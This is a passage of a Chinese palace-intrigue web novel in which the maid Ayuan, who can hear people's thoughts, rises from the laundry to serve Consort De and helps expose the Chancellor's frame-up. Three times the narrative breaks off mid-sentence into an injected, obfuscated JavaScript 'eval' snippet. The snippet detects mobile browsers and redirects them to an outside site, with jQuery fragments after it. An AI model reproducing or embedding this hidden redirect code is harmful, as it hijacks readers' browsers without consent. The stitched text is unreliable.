“那个站在最末尾的小丫头,出列,到咱家面前来。”刘公公的声音,打破了庭院里的寂静,目光紧紧盯着阿沅,带着几分审视。 庭院里的丫鬟们,瞬间都把目光投向了阿沅,眼神里带着几分惊讶、嫉妒和不解。她们实在想不通,刘公公放着中间那些精心打扮、模样周正的丫鬟不看,偏偏看中了最末尾这个不起眼、灰头土脸的阿沅。 小翠的心声瞬间变得愤怒而扭曲,满是不敢置信和怨怼:【怎么会是她?刘公公怎么会注意到她这个死丫头?她哪里比得上我?不行,绝对不能让她被选上,她凭什么和我争?这一切都是我的,她不配!】 春桃的心声也满是不解和嫉妒,还有一丝不甘:【阿沅?她怎么会被刘公公看中?她明明那么普通,那么不起眼,扔在人堆里都找不出来,凭什么?我不甘心,我比她努力,比她用心,为什么刘公公看不到我?】 阿沅的身体微微一僵,随即很快镇定下来。她知道,这一刻,是她唯一的机会,不能慌,也不能乱。她深吸一口气,压下心底的忐忑,迈开脚步,一步步朝着刘公公走去,走到石凳前,躬身行礼,动作标准,声音轻柔而恭敬,不卑不亢,拿捏着恰到好处的分寸:“奴婢阿沅,见过刘公公。” 刘公公瞥了她一眼,目光在她身上扫了一圈,语气平淡地问道:“你在尚书府里,做什么差事?” “回公公,奴婢在浣衣局当差,平日里负责搓洗衣物、晾晒衣物,还有府里的一些杂活。”阿沅恭敬地回答道,头依旧埋着,不敢抬头与他对视,同时仔细倾听着刘公公的心声,捕捉着他的每一个想法。【浣衣局的丫鬟?倒是难得,浣衣局的活最辛苦,最磨人,每天要做的活计多如牛毛,还常常要受管事嬷嬷的责罚,她能在那里待这么久,还能保持这样的沉稳,倒是不容易。看来,这丫头,倒是有几分韧性,能吃苦,沉得住气。】 刘公公点了点头,手指依旧轻轻敲着石桌,又问道:“你在浣衣局里,干活勤快吗?有没有被管事嬷嬷训斥过?” 阿沅依旧恭敬地回答,没有丝毫隐瞒,也没有刻意邀功:“回公公,奴婢干活不敢有丝毫懈怠,凡事都小心翼翼,尽量把差事做好,不辜负管事嬷嬷的吩咐。偶尔有做得不周到的地方,嬷嬷会指点奴婢,奴婢也会认真改正,绝不敢再犯。”【嗯,回答得倒是得体,不卑不亢,也没有刻意讨好,实话实说,看来这丫头,确实很沉稳。而且,她能主动承认自己有做得不周到的地方,还说会认真改正,倒是很细心,也很懂事,不骄不躁,这性子倒是难得。】 刘公公的眼神,渐渐变得柔和了几分,对阿沅的好感又多了几分。他又上下打量了阿沅一番,问道:“你可知,进宫之后,要遵守宫里的规矩?宫里的规矩,比尚书府里严格百倍,一言一行都要谨小慎微,稍有不慎,就会惹来杀身之祸,你不怕吗?” 这个问题,是阿沅早已在心底演练过无数次的。她缓缓抬起头,目光平静地看着刘公公,没有丝毫的畏惧,语气坚定而恭敬,字字清晰:“回公公,奴婢知道。奴婢也知道,宫里的规矩森严,凶险重重,可奴婢不怕。只要能进宫当差,奴婢一定会严格遵守宫里的所有规矩,小心翼翼做事,认认真真做人,绝不惹任何麻烦,绝不辜负公公的信任和期望。” 【好!说得好!有这份决心,就很不错。这丫头,虽然模样普通,可沉稳、细心、有韧性,还很懂事,正是咱家要找的那种丫鬟。若是把她送到德妃娘娘宫里,说不定还能哄德妃娘娘开心,毕竟,她性子沉稳,不会像其他丫鬟那样浮躁,动不动就惹主子生气,倒是合适。】刘公公的心声里,满是满意,显然,阿沅的回答,完全合了他的心意。 就在这时,小翠再也忍不住了,她不甘心就这样被阿沅比下去,连忙上前一步,躬身行礼,声音带着刻意的娇柔与讨好:“刘公公,奴婢小翠,也是浣衣局的丫鬟,奴婢干活也很勤快,手脚麻利,也很机灵,求公公给奴婢一个机会,奴婢一定好好表现,尽心尽力伺候主子,绝不辜负公公的期望。”她的心底满是急切的渴求:【公公,选我选我,我比阿沅那个死丫头机灵多了,也比她好看,我一定能做好差事的,比她强百倍千倍。】 刘公公瞥了小翠一眼,眼底掠过一丝明显的不耐,连掩饰都懒得掩饰。【这丫鬟,倒是挺主动,可眼神太浮躁,心思也太急切,一看就不是个沉稳的。而且,她的心思,都写在脸上了,太急于求成,太想被选上,这样的丫鬟,留在宫里,容易惹出麻烦,德妃娘娘也不会喜欢。倒是不如那个阿沅,沉得住气。】嘴上却依旧平淡地说道:“你也不错,只是,咱家已经选定了这丫头,缘分已定,不必强求。” 小翠的脸色瞬间变得惨白,血色尽失,眼神里满是绝望和不甘,身体微微颤抖,可她不敢再说话,也不敢再奢求,只能低着头,默默地退了回去,心底的怨怼几乎要溢出来:【不!怎么会这样?我不甘心!阿沅那个死丫头,凭什么能被选上?我一定不会放过她的,只要她进了宫,我总有机会收拾她,让她付出代价!】 刘公 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“是,公公。”小太监应道,转身对阿沅说道:“阿沅姑娘,请跟我来。” 阿沅躬身应道:“是。”她转身,跟着小太监,一步步走出了前院的庭院。路过小翠和春桃身边时,她能清晰地听到她们心底的嫉妒、怨恨和不甘,可她没有丝毫停留,也没有丝毫在意——从今天起,她就要离开这尚书府了,这些人,这些事,都将成为过去,再也无法束缚她。她的未来,在皇宫里,在她自己的手中。 回到浣衣局,阿沅开始简单收拾自己的东西。她没有什么值钱的东西,只有几件洗得发白的破旧衣物,还有一个小小的粗布包,里面装着她母亲留给她的一支破旧的银簪——这是母亲唯一的遗物,也是她在这世上,唯一的念想。 浣衣局的其他丫鬟,看着阿沅收拾东西,眼神里有嫉妒,有羡慕,也有几分幸灾乐祸,议论纷纷,可阿沅没有理会她们,只是快速地收拾好东西,将粗布包装进包袱里,背在身上。 她最后看了一眼这待了三年的浣衣局,廊下的晾衣绳还在,井边的石板还在,那些冰冷的皂角水,那些无尽的活计,那些数不清的责罚和欺负,都将成为过往。阿沅的眼底没有丝毫留恋,只有坚定和期待。 她跟着小太监,走出了浣衣局,走出了尚书府的大门。 站在尚书府的朱红大门外,阿沅回头看了一眼这座囚禁了她三年的府邸,高大的院墙,朱红的大门,鎏金的门环,里面藏着太多的算计、太多的冷漠、太多的苦难。她的眼神里,没有丝毫留恋,只有坚定和期待。 “别磨蹭了,赶紧走,公公还在府门外等着呢,莫要耽搁了回宫的时间。”小太监见她站着不动,不耐烦地催促道。 阿沅收回目光,点了点头,不再犹豫,跟着小太监,朝着府门外的马车走去。她登上马车,撩开车帘,最后看了一眼尚书府的方向,便放下车帘,隔绝了那片让她痛苦了三年的天地。 马车缓缓启动,朝着皇宫的方向驶去。阿沅坐在马车里,看着窗外飞速掠过的街景,耳边是马车行驶的轱辘声,还有车内小太监心底的抱怨:【这丫头,倒是挺安分,希望她进宫之后,能好好做事,别给咱家惹麻烦。不然,咱家也不好向刘公公交代,落得个办事不力的罪名。】 阿沅闭上眼,靠在马车壁上,默默平复着自己激动的心情。她知道,皇宫就在前方,那是一个更加凶险、更加复杂的地方,那里有等级森严的规矩,有尔虞我诈的争斗,有藏在心底的算计,有不可预知的危险。可她也知道,那里,是她唯一能摆脱命运枷锁的地方,是她唯一能拥有掌控自己命运力量的地方。 她的异能,是她唯一的筹码,也是她最锋利的武器。从今往后,她要更加谨慎地使用自己的异能,倾听那些藏在心底的心声,分辨人心的善恶,避开那些潜在的危险,抓住每一个能让自己成长、能让自己变强的机会。她要一步步往上爬,从一个底层的宫女,一步步走向更高的位置,直到再也没有人能欺负她,直到她能真正掌控自己的命运,直到她能站在最高处,俯瞰这天下。 马车行驶了约莫一个时辰,终于缓缓停了下来。阿沅听到外面传来侍卫的呵斥声,还有小太监的唱喏声,知道皇宫到了。 她跟着小太监走下马车,抬头看了一眼这座金碧辉煌、气势恢宏的宫殿群,高大的宫门矗立在眼前,朱红的宫墙一眼望不到头,琉璃瓦在阳光下熠熠生辉,门口站着威武的侍卫,神色严肃,戒备森严,一股威严而压抑的气息扑面而来。阿沅的心底充满了敬畏,却也更加坚定。 她知道,从踏入这宫门的那一刻起,她的人生,就彻底改变了。过去的阿沅,是尚书府里一个不起眼的小丫鬟,任人宰割,谨小慎微;从今往后,她要做一个全新的阿沅,一个沉稳、细心、勇敢、坚韧的阿沅,一个能凭借自己的异能,在这深宫里站稳脚跟,一步步走向巅峰的阿沅。 “跟我来吧,刘公公在里面等着呢。”小太监的声音,打断了阿沅的思绪。 阿沅点了点头,收回目光,再次低下头,压下眼底的锋芒,跟着小太监,一步步踏入了皇宫的大门。 厚重的宫门缓缓关上,隔绝了外面的世界,也开启了她全新的旅程。 4. 深宫蛰伏,听心避祸 踏入皇宫的那一刻,阿沅便深刻地体会到了“规矩森严”这四个字的重量,比她想象中还要沉重百倍。这座皇宫,比尚书府庞大无数倍,雕梁画栋,金碧辉煌,亭台楼阁错落有致,金砖铺地,玉阶生光,随处可见穿着华丽宫装的妃嫔、穿着整齐服饰的太监和宫女,每个人都步履匆匆,神色恭敬,连说话都小心翼翼,字斟句酌,生怕一个不小心,就触犯了宫里的规矩,惹来杀身之祸。 空气中弥漫着淡淡的檀香,却掩不住那股深入骨髓的压抑与冰冷,这里的每一寸土地,都透着等级的森严,每一个眼神,都藏着不为人知的心思。 阿沅跟着小太监穿过一道道回廊,走过一座座宫殿,最后来到一处偏殿。偏殿里,刘公公正坐在榻上喝茶,看到阿沅进来,放下茶杯,语气平淡,没有丝毫波澜:“来了?咱家已经跟内务府的人打好了招呼,你暂且先被分到浣衣局,和在尚书府一样,先做些洗衣的杂活。” 阿沅连忙躬身行礼,态度恭敬,没有丝毫不满:“谢刘公公安排,奴婢听从公公的吩咐。”她的耳朵里,清晰地响起了刘公公的心声,揭开了他这一安排的真正用意:【这丫头,性子沉稳,有韧性,是个可塑之才,倒是适合先在浣衣局磨练一段时间。宫里不比尚书府,人心更复杂,争斗更激烈,一步踏错就是万劫不复。让她先在浣衣局蛰伏一段时间,熟悉宫里的规矩,熟悉宫里的人情世故,也看看她的真本事,若是她真的能干,日后再把她调到德妃娘娘宫里去,也不迟。若是她不堪大用,那就让她一直在浣衣局里干活,也不算辜负了咱家的眼光。】 阿沅心底瞬间明白,刘公公这哪里是安排差事,分明是在考验她。考验她的性子,考验她的能力,考验她是否能在这深宫里站稳脚跟。她没有丝毫不满,反而觉得,这是一个再好不过的机会。浣衣局虽然辛苦,却是宫里最不起眼、最不受重视的地方,远离后宫的争斗中心,争斗相对较少,正好适合她蛰伏,慢慢熟悉宫里的规矩和人情世故,也能让她有时间,慢慢适应宫里的生活,慢慢规划自己的未来。而且,她能听到别人的心声,在浣衣局这样不起眼的地方,也能更好地隐藏自己的秘密,避开那些潜在的危险。 随后,刘公公安排了一个名叫张嬷嬷的管事嬷嬷,带着阿沅前往皇宫的浣衣局。张嬷嬷约莫五十多岁的年纪,面容严肃,脸上没有丝毫笑意,眼神锐利如鹰,一看就是个久居浣衣局、不好惹的角色。她走在前面,脚步沉稳,阿沅跟在她身后,能清晰地听到她的心声:【又是一个新来的丫鬟,听说还是刘公公亲自选进来的,倒是有几分福气。只是,宫里可不是那么好待的,不管是谁,来了浣衣局,都得守这里的规矩,好好干活,若是敢偷懒耍滑,耍小聪明,看我不收拾她,让她知道浣衣局的厉害。】 阿沅听到张嬷嬷的心声,连忙收敛心神,一路上都低着头,小心翼翼地跟在张嬷嬷身后,不多言,不多看,不左顾右盼,一副乖巧懂事、安分守己的样子。张嬷嬷偶尔回头看她几眼,见她这般模样,心底暗暗点了点头,对她的印象好了几分:【这丫头,倒是挺安分,不像有些新来的丫鬟,一来就心浮气躁,到处乱看,四处打探,倒是省了不少事,希望她能真的踏实干活,不是装出来的。】 皇宫里的浣衣局,比尚书府的浣衣局大得多,也忙碌得多,简直就是一个巨大的工坊。这里负责整个皇宫里所有主子、太监和宫女的衣物洗晾,从皇上的龙袍、妃嫔的锦缎宫装,到普通太监宫女的粗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228612|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布衣衫,无所不包。每天都有堆积如山的衣物从各个宫殿送过来,有华贵的云锦、丝绸、蜀锦,也有普通的棉布、麻布,每一件衣物,都有严格的规矩,什么衣物该用什么水、什么皂角,该怎么洗、怎么晾,都有明确的规定,不能洗坏,不能弄脏,不能弄错,稍有不慎,就会惹来杀身之祸。 张嬷嬷把阿沅带到浣衣局最角落的一个水池边,指着旁边堆积如山的粗布衣物,语气严肃,带着不容置疑的命令:“从今天起,你就负责洗这些普通宫女和太监的衣物,记住,一定要洗干净,晾整齐,不能有丝毫差错,更不能弄混。宫里的规矩,你应该也知道,若是敢偷懒耍滑,若是洗坏了衣物,或是弄混了主子的衣物,后果自负,可不是简简单单的责罚就能了事的。” “是,嬷嬷,奴婢记住了,奴婢一定认真干活,绝不偷懒,绝不惹任何麻烦。”阿沅躬身应道,态度恭敬,同时仔细倾听着张嬷嬷的心声,了解她的心思:【这些衣物虽然是普通太监宫女的,不是什么名贵的料子,可也不能马虎,若是洗不干净,有异味,被那些宫女太监投诉到内务府,我也不好向上面交代。这丫头刚进来,先让她干这些简单的活,看看她的手脚麻利不麻利,做事认不认真,是不是真的安分懂事,值不值得信任。】 张嬷嬷走后,阿沅便拿起衣物,蹲在水池边,开始搓洗起来。宫里的浣衣局,比尚书府的浣衣局还要辛苦,水池里的水,是从井里刚打上来的,比尚书府的还要冰凉,即使是夏天,也冻得指尖生疼,皂角的味道也更加刺鼻,呛得人喉咙难受,每天要洗的衣物,也比尚书府多了好几倍。 可阿沅没有丝毫抱怨,也没有丝毫懈怠,只是默默低着头,认真地搓洗着每一件衣物。 5. 长乐宫近,初伺德妃 青黛受罚后,浣衣局里的风波虽暂歇,却也让阿沅更清楚地看清了深宫之中无小事,哪怕是最底层的角落,也藏着明枪暗箭。往后的日子,阿沅依旧守着自己的一方水池,手脚麻利地做着活计,白日里洗晾衣物,夜里便靠着墙角,听着周遭宫女们的心声,默默记着宫里的规矩、各宫的脾性,以及那些藏在言语背后的利害关系。 张嬷嬷待她愈发顺眼,偶尔会将一些稍轻的活计交给她,比如整理各宫送洗的精致衣物,或是给浣衣局的库房清点布料。阿沅借着这些机会,听着往来太监宫女的闲谈与心声,渐渐摸清了后宫的格局:皇后稳居中宫,育有太子,行事端方却凉薄,从不轻易插手后宫纷争;丽妃宠冠六宫,母家是权倾朝野的丞相,性子骄纵跋扈,行事张扬;而刘公公当初提及的德妃,出身书香门第,曾得皇上盛宠,育有五皇子,近来却因娘家柳尚书被弹劾贪赃枉法,遭皇上迁怒,被禁足在长乐宫,门前冷落,成了后宫里最不起眼的存在。 这些信息像细碎的珠子,被阿沅一一串起,她知道,刘公公将她放在浣衣局,终究是为了德妃。而长乐宫的冷清,于她而言,或许是最好的去处——远离争宠的中心,少了是非,也更易隐藏自己。 果然,半月后的一个清晨,张嬷嬷走到阿沅身边,语气比平日温和几分:“阿沅,刘公公派人来传话,让你收拾收拾,随我去长乐宫当差。”阿沅手上的动作一顿,耳边已听到张嬷嬷的心声:【这丫头倒是有福气,刘公公竟真的记着她,长乐宫虽冷清,却也是正经妃嫔的宫殿,比在浣衣局干粗活强多了。】 阿沅躬身应道:“谢嬷嬷提点。”她快速收拾好自己的东西,依旧是那个装着母亲银簪的小布包,几件换洗衣物,别无他物。跟着张嬷嬷穿过层层宫道,往长乐宫走去,沿途的宫墙愈见冷清,偶有宫女太监走过,也都是步履匆匆,不敢多作停留,耳边尽是些关于德妃的唏嘘:【长乐宫这光景,怕是再难翻身了,柳尚书那案子闹得沸沸扬扬,皇上心里正不痛快呢。】【德妃娘娘也是可怜,往日里待下人格外宽厚,如今却落得这般下场。】 走到长乐宫门口,朱红的宫门微掩,门口只有两个老宫女守着,见了张嬷嬷,忙躬身行礼。推门而入,庭院里的秋菊开得正盛,却无人打理,落了一地残瓣,廊下的铜铃蒙了尘,风过处,声响沉闷,全无半分宫廷的繁华,倒透着几分萧瑟。 阿沅跟着张嬷嬷走到正厅,只见一个身着素色锦裙的女子正坐在窗边看书,眉眼温婉,面色虽有些憔悴,却难掩清雅的气质,想来便是德妃。她身边立着一个贴身宫女,名唤云溪,见了她们,轻声禀道:“娘娘,张嬷嬷来了,还带了新选的宫女。” 德妃抬眸,目光落在阿沅身上,淡淡扫过,没有半分苛责,也无半分热络,只对张嬷嬷道:“有劳张嬷嬷跑一趟了,留下吧。”张嬷嬷躬身行礼,又叮嘱了阿沅几句“安分做事,谨言慎行”,便转身离开了。 待张嬷嬷走后,云溪领着阿沅到偏殿,语气平淡地交代:“长乐宫不比别处,娘娘性子恬淡,不喜热闹,也不喜多言多语的人,你只需做好自己的活计,守着殿内的清净,便是最好。平日里只管打扫、端茶送水,不该听的别听,不该看的别看,不该说的更别多说。” 阿沅躬身应道:“奴婢记住了,谢姐姐提点。”她能听到云溪的心声:【这丫头看着倒是安分,但愿不是个惹事的,娘娘如今身子不好,经不起折腾。】 往后的日子,阿沅便在长乐宫安了身,每日里打扫殿宇、烧水煮茶、伺候德妃的饮食起居,活计不重,却需格外细心。德妃话少,大多时候只是看书、练字,或是对着窗外发呆,阿沅便默默守在一旁,不多言,不多语,只在需要时及时上前,手脚麻利地办妥一切。 她依旧习惯性地听着周遭的心声,德妃的心声总是淡淡的,偶尔会掠过对娘家的担忧:【父亲一生清廉,怎会贪赃?定是有人陷害,只是皇上如今不信我,五皇子还小,可如何是好?】也会有对皇上的思念,却更多的是无奈:【帝王之心,终究凉薄,昔日的情分,终究抵不过朝堂的纷争。】 云溪的心声里,满是对德妃的担忧,也藏着对后宫局势的不安:【丽妃那边近来越发张扬,听说还想借着柳尚书的案子,把五皇子也牵扯进来,娘娘可一定要护好自己和五皇子啊。】偶尔,也会有宫女偷偷溜到长乐宫门口,探听消息,她们的心声里,尽是丽妃的指使:【看看德妃娘娘近来可有什么异动,若是和宫外有联系,即刻回禀丽妃娘娘。】 阿沅将这些都默默记在心里,她知道,长乐宫的冷清只是表面,暗处的眼睛从未离开。她依旧保持着沉稳,平日里伺候德妃时,总会格外留意周遭的动静,借着听心的异能,避开那些暗藏的算计。 有一次,御膳房送来的点心,阿沅端到德妃面前时,无意间听到送点心的小太监心底的念头:【这桂花糕里加了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228613|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些东西,吃了虽不致命,却会让人身子虚弱,丽妃娘娘说了,只需慢慢磨着,让德妃娘娘没精力再管外头的事。】 阿沅心底一沉,面上却不动声色,端着点心的手微微一顿,随即笑着对德妃道:“娘娘,今日这桂花糕看着虽精致,却闻着有几分微苦,怕是蜜浆放得少了,奴婢去御膳房换一份来,您稍等。”说着,便不等德妃回应,端着点心快步走出殿外,走到那小太监面前,沉声道:“这点心怕是做坏了,劳烦公公回御膳房换一份,若是误了娘娘用膳,怕是不好交代。” 她的语气平静,却带着几分不容置疑的坚定,那小太监心底一惊:【她怎会发现?莫不是看出了什么?】面上却强装镇定,讪讪道:“既如此,那奴才便回去换一份。”说着,便接过点心,匆匆离开了。 阿沅看着他的背影,心底清楚,这只是开始,丽妃不会善罢甘休。回到殿内,德妃看着她,眸光微闪,轻声道:“你倒是细心。”阿沅躬身道:“伺候娘娘,本就该细心些。”她没有多说,德妃也没有多问,只是眼底的疏离,淡了几分。 夜里,阿沅守在殿外,听到德妃对云溪道:“这阿沅,倒是个有心的,留着吧。”云溪应道:“娘娘说得是,这丫头看着安分,却心思缜密,倒是个可靠的。”阿沅的心底微微一松,她知道,自己终究是得到了德妃的认可。 自此,德妃待她愈发信任,偶尔会让她替自己传递一些消息,或是去看望五皇子。阿沅借着这些机会,走的地方多了,听的心声也多了,对后宫的局势,对朝堂的纷争,也有了更清晰的认知。她知道,柳尚书的案子,并非简单的贪赃,而是丞相与柳尚书的朝堂之争,丽妃不过是借着丞相的势力,想要除掉德妃这个眼中钉,为自己的儿子铺路。 而她的听心异能,不仅是她保命的筹码,更成了德妃身边一道无形的屏障。她借着听心,一次次避开了丽妃的算计,替德妃化解了一次又一次的危机。长乐宫的日子依旧冷清,可阿沅却知道,这里,便是她在深宫里的立身之地,也是她一步步往上走的起点。 她依旧小心翼翼,依旧沉稳低调,只是眼底的坚定,愈发浓烈。她知道,深宫之路,道阻且长,后宫的纷争,从来都与朝堂紧密相连,想要真正站稳脚跟,想要真正掌控自己的命运,便不能只守着长乐宫的一方天地,她需要更多的力量,需要看清更多的人心,需要在这波谲云诡的深宫里,走出一条属于自己的路。 6. 案藏玄机,暗助德妃 秋去冬来,皇宫里的寒意一日浓过一日,长乐宫的庭院里落了厚厚的一层雪,扫雪的宫女动作轻缓,生怕惊扰了殿内的德妃。柳尚书的案子依旧悬而未决,皇上虽未再深究,却也从未松口赦免,德妃的禁足虽解,却依旧不得皇上召见,长乐宫依旧是后宫里的冷角。 丽妃那边倒是越发风光,丞相在朝堂上势力渐盛,丽妃的儿子三皇子也被皇上时常召去伴读,宫里的人都是趋炎附势的性子,往日里还有些人敢来长乐宫走动,如今更是避之不及,唯有阿沅与云溪等人,依旧守着德妃,尽心尽力。 阿沅依旧每日伺候德妃的饮食起居,只是比往日更细心了些,御膳房送来的吃食,她总会先借着听心,探听送食太监的心声,确认无碍后,才敢呈到德妃面前;殿里的物件,也总会细细检查,生怕被人动了手脚。德妃看在眼里,记在心里,对阿沅的信任,也愈发深厚。 这日,德妃让阿沅去五皇子的居所清宁宫送些御寒的棉衣,五皇子年方七岁,生得粉雕玉琢,性子却随了德妃,温文尔雅,见了阿沅,便甜甜地喊着:“阿沅姐姐。”阿沅躬身行礼,将棉衣递给他,又陪他说了几句话,便准备返回长乐宫。 路过清宁宫的偏院时,却听到两个太监在低声交谈,阿沅脚步微顿,靠在廊柱后,听着他们的心声,心底顿时一惊。其中一个太监的心声里满是慌乱:【柳尚书的案子根本就是丞相设计的,那笔所谓的赃款,根本就是丞相让人伪造的,还把证据藏在了城西的一处宅院,若是被人发现,我们都得死。】另一个则道:【放心,丞相大人做事缜密,那宅院守卫森严,谁也发现不了,更何况,柳尚书如今被关在天牢,口风紧得很,根本无从辩解。】 阿沅的心猛地一沉,原来柳尚书的案子,果然是丞相陷害!她强压下心底的波澜,待那两个太监走远后,才快步离开清宁宫,返回长乐宫。 回到殿内,德妃正坐在窗边练字,见阿沅回来,神色有异,便放下笔,轻声道:“可是出了什么事?”阿沅看了看四周,见只有云溪在旁,便躬身道:“娘娘,奴婢方才去清宁宫,无意间听到两个太监的谈话,得知柳尚书的案子,竟是丞相设计陷害,赃款的证据,被藏在城西的一处宅院。” 德妃的脸色瞬间白了,手中的狼毫笔掉在宣纸上,晕开了一大片墨渍,她颤声道:“你说的可是真的?”阿沅点头道:“奴婢不敢欺瞒娘娘,那两个太监是丞相身边的人,心声里说得明明白白,那宅院守卫森严,是丞相的一处私宅。” 云溪也惊道:“竟有这样的事!丞相也太歹毒了,为了扳倒柳大人,竟做出这样的事!”德妃的眼底泛起泪光,有愤怒,有委屈,还有一丝希望:“父亲一生清廉,果然是被陷害的!只是那证据藏在丞相的私宅,守卫森严,想要取出来,难如登天。若是能拿到证据,呈给皇上,父亲的冤屈,便能洗清了。” 可随即,她的眼神又黯淡下去:“皇上如今偏信丞相,即便拿到证据,怕是也未必会信,更何况,丞相势大,稍有不慎,不仅救不出父亲,还会连累五皇子,连累长乐宫所有人。” 阿沅听着德妃的心声,满是挣扎与无奈,她沉默片刻,躬身道:“娘娘,奴婢倒有个想法。那两个太监既敢私下议论,想来也并非丞相的心腹,只是被胁迫做事,心底定有畏惧。若是能找到他们,晓以利害,或许能让他们出面指证丞相。再者,那城西的宅院守卫森严,可越是森严,越说明心中有鬼,若是能借着旁人的手,引皇上注意,让皇上派人去查,或许能找到证据。” 德妃眸光微闪,看着阿沅:“你有什么法子?”阿沅道:“娘娘,如今朝堂之上,并非只有丞相一人势大,太傅大人与丞相素来不和,若是能将此事透露给太傅大人,太傅大人必定会借机弹劾丞相,请求皇上派人查案。而那两个太监,奴婢可以试着去寻他们,晓以利害,让他们知道,丞相不过是把他们当棋子,若是事情败露,他们便是替罪羊,唯有出面指证,才能留一条活路。” 德妃沉吟片刻,她知道,这是唯一的机会,若是错过,父亲的冤屈便永远无法洗清,长乐宫也永远无翻身之日。她看着阿沅,沉声道:“此事便交给你去办,切记,小心行事,莫要暴露了自己。”阿沅躬身道:“奴婢定当竭尽全力,不负娘娘所托。” 接下来的几日,阿沅便借着外出采买的机会,四处打探那两个太监的踪迹,也借着听心,探听太傅大人的行踪。她的听心异能在此刻发挥了最大的作用,往来的太监宫女,朝堂的官员侍从,他们的心声里,藏着无数信息,阿沅像一个猎人,在这些信息里,寻找着自己需要的线索。 终于,她在御花园的一处偏殿,找到了那两个太监,彼时他们正在喝酒,心底满是对丞相的怨恨与畏惧。阿沅悄悄走到他们身后,轻咳一声,那两个太监吓了一跳,见是阿沅,便怒道:“你是何人?竟敢在此偷听!” 阿沅淡淡道:“我是谁不重要,重要的是,你们的性命,如今捏在丞相手里,也捏在我手里。”她看着他们,一字一句道:“柳尚书的案子,是丞相设计陷害,你们二人参与其中,若是事情败露,丞相定会将所有罪责推到你们身上,你们觉得,你们还有活路吗?” 那两个太监脸色惨白,心底的慌乱更甚:【她怎会知道这么多?莫不是德妃的人?】阿沅又道:“如今太傅大人正想弹劾丞相,若是你们能出面指证丞相,将城西宅院藏证据的事和盘托出,太傅大人定会保你们性命,皇上也会念你们戴罪立功,从轻发落。是做丞相的替罪羊,还是留一条活路,你们自己选。” 一番话,戳中了两个太监的软肋,他们对视一眼,心底的挣扎显而易见,最终,其中一个太监咬了咬牙道:“我们答应你,只是你需保证,保我们性命。”阿沅道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228614|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只要你们如实指证,太傅大人定会保你们,我以德妃娘娘的名义起誓。” 搞定了两个太监,阿沅又借着听心,找到了太傅大人的贴身侍从,借着送点心的机会,将一张写着“城西宅院,柳案证据,丞相所藏”的纸条,悄悄塞给了他。她能听到那侍从的心声:【这定是有人想扳倒丞相,此事需尽快禀报太傅大人。】 不出阿沅所料,第二日的朝堂之上,太傅大人便联合一众官员,弹劾丞相陷害柳尚书,请求皇上派人查抄城西的那处宅院。丞相当庭辩驳,称是太傅大人污蔑,皇上一时难以决断,可架不住太傅大人一众官员的请求,最终还是下旨,让禁军统领带人去查抄城西宅院。 禁军统领带人赶到城西宅院,果然在宅院的密室里,找到了伪造赃款的证据,还有丞相指使手下陷害柳尚书的书信。证据确凿,丞相百口莫辩,皇上震怒,当即下令将丞相打入天牢,彻查此事,柳尚书的冤屈终于洗清,被无罪释放,官复原职。 消息传到后宫,德妃喜极而泣,多年的压抑与委屈,在这一刻尽数释放。长乐宫的气氛,终于一扫往日的阴霾,变得明朗起来。皇上也终于召见了德妃,看着她憔悴的面容,心中有几分愧疚,对她的宠爱,也渐渐恢复,长乐宫门前,终于又有了往来的人影。 丽妃因丞相倒台,失了靠山,往日的张扬尽数收敛,被皇上禁足在自己的宫殿,再也无法兴风作浪。后宫的格局,因这一场朝堂的纷争,悄然改变。 德妃对阿沅更是感激不尽,当着云溪的面,拉着阿沅的手道:“阿沅,此次若非你,我父亲的冤屈永远无法洗清,长乐宫也永远无翻身之日,你是我们母子的大恩人。”阿沅躬身道:“娘娘言重了,奴婢只是做了自己该做的事,能为娘娘分忧,是奴婢的福气。” 她能听到德妃的心声:【阿沅心思缜密,聪慧果敢,不仅忠心,更有大本事,往后,定要好好待她,她会是我和五皇子最可靠的助力。】 经此一事,阿沅在长乐宫的地位愈发稳固,德妃将她视作心腹,宫里的宫女太监也不敢再小瞧她,往日里那些冷落长乐宫的人,如今也纷纷前来示好。可阿沅依旧保持着往日的沉稳与低调,不骄不躁,依旧细心地伺候着德妃,依旧借着听心的异能,默默观察着周遭的一切。 她知道,丞相倒台,丽妃失势,只是这深宫里的一次风波,往后,还会有更多的纷争,更多的算计。她借着这次机会,赢得了德妃的绝对信任,也在这深宫里,有了真正的立身之本,可这还不够,她需要更多的力量,需要更清楚地看清这深宫与朝堂的联系,需要在这波谲云诡的局势里,牢牢握住自己的命运,一步步,朝着更高的地方走去。 而她的听心异能,也成了她最锋利的武器,在这人心叵测的深宫里,替她拨开迷雾,看清人心,让她在每一次的危机里,都能化险为夷,步步为营。 7. 帝心难测,渐露锋芒 